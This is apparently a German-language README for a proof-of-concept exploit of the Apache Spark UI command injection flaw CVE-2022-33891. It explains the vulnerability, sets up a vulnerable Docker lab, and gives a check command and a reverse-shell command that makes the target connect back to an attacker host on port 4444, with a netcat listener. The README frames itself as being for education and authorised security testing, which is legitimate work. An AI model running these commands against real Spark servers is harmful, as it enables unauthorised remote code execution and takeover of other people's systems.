
Proof-of-concept-Exploit für Apache Spark-Befehlsinjektion (CVE-2022-33891) mit Check- und Reverse-Shell-Modi, der autorisierte Sicherheitstests ermöglicht.
⚠️ Nur für Bildungs- und autorisierte Sicherheitsforschungszwecke
Sehr dankbar dem ursprünglichen PoC-Autor AkbarTrilaksana
Die Apache Spark UI bietet die Möglichkeit, ACLs über die Konfigurationsoption spark.acls.enable zu aktivieren. Mit einem Authentifizierungsfilter wird überprüft, ob ein Benutzer Zugriffsberechtigungen hat, um die Anwendung anzusehen oder zu ändern. Wenn ACLs aktiviert sind, kann ein Codepfad im HttpSecurityFilter es einer Person ermöglichen, sich durch die Angabe eines beliebigen Benutzernamens als jemand anderen auszugeben. Ein böswilliger Benutzer könnte dann möglicherweise eine Berechtigungsprüfungsfunktion erreichen, die letztendlich einen Unix-Shell-Befehl basierend auf seiner Eingabe erstellt und ausführt. Dies führt zur Ausführung beliebiger Shell-Befehle als der Benutzer, unter dem Spark gerade läuft. Dies betrifft Apache Spark Versionen 3.0.3 und früher, Versionen 3.1.1 bis 3.1.2 und Versionen 3.2.0 bis 3.2.1.
Klone zuerst das Repository
git clone https://github.com/asepsaepdin/CVE-2022-33891.git
Wechsle in das Verzeichnis
cd CVE-2022-33891
Installiere die Abhängigkeiten:
pip3 install -r requirements.txt --break-system-packages
Starte den Container
docker compose up
Führe in einem neuen Terminal den Befehl aus
docker exec -it CVE-2022-33891-spark-1 /bin/bash
Gib in der Bash-Sitzung des Containers Folgendes ein:
echo "spark.acls.enable true" >> conf/spark-defaults.conf
Optional: Zeige den Inhalt von spark-defaults.conf mit cat an, um sicherzustellen, dass alles korrekt ist.
Verlasse die interaktive Bash-Shell und beende den docker-compose-Prozess mit Strg+C.
Sobald die Container ordnungsgemäß heruntergefahren sind, führe docker-compose up erneut aus
docker compose up
Überprüfe, ob das Ziel verwundbar ist:
python3 poc.py -u http://localhost -p 8080 --check
Aus Angreifersicht ist die Remote-Code-Ausführung entscheidend, um Zugriff auf eine interaktive Shell zu erhalten. Die Ausführung des folgenden Befehls würde eine Telnet-Reverse-Shell über TCP basierend auf Bash zum System des Angreifers auf Port 4444/TCP auslösen:
python3 poc.py -u http://localhost -p 8080 --revshell -lh 172.16.10.24 -lp 4444
nc -nlvp 4444